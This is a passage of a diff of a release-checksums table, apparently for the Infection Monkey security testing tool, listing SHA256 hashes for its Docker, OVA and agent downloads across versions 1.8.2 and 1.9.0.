@@ $ sha256sum monkey-linux-64 | infection_monkey_docker_dockerzt_20200806_154742.tgz | Docker | 1.9.0 | `a84dbaad32ae42cc2d359ffbe062aec493a7253cf706a2d45f0d0b1c230f9348` | | monkey-island-vmware.ova | OVA | 1.9.0 | `3861d46518e8a92e49992b26dbff9fe8e8a4ac5fd24d68e68b13e7fd3fa22247` | | monkey-island-vmwarezt.ova | OVA | 1.9.0 | `03d356eb35e6515146f5bd798bb62cb15c56fcdf83a5281cf6cdc9b901586026` | - - -## Older checksums - -| Filename | Type | Version | SHA256 | -|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| | monkey-windows-64.exe | Windows Agent | 1.8.2 | `2e6a1cb5523d87ddfd48f75b10114617343fbac8125fa950ba7f00289b38b550` | | monkey-windows-32.exe | Windows Agent | 1.8.2 | `86a7d7065e73b795e38f2033be0c53f3ac808cc67478aed794a7a6c89123979f` | | monkey-linux-64 | Linux Agent | 1.8.2 | `4dce4a115d41b43adffc11672fae2164265f8902267f1355d02bebb802bd45c5` |